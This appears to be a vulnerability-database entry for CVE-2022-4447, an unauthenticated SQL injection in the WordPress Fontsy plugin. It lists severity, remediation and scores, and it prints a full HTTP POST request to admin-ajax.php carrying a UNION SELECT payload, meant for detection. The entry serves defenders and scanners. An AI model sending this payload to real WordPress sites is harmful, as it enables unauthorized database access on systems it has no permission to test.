🔙 목록으로 돌아가기

CVE-2022-4447: WordPress Fontsy <=1.8.6 - SQL Injection

TitleWordPress Fontsy <=1.8.6 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
RemediationUpdate the Fontsy plugin to the latest version (>=1.8.7) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.77901
CVE IDCVE-2022-4447
CWE IDCWE-89
Tags cve cve2022 wordpress wp wpscan wp-plugin sqli fontsy unauth fontsy_project vkev vuln

🔍 Vulnerability Description

WordPress Fontsy plugin through 1.8.6 is susceptible to SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id=-5219 UNION ALL SELECT NULL,NULL,NULL,md5(8649),NULL--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4447.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4447.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A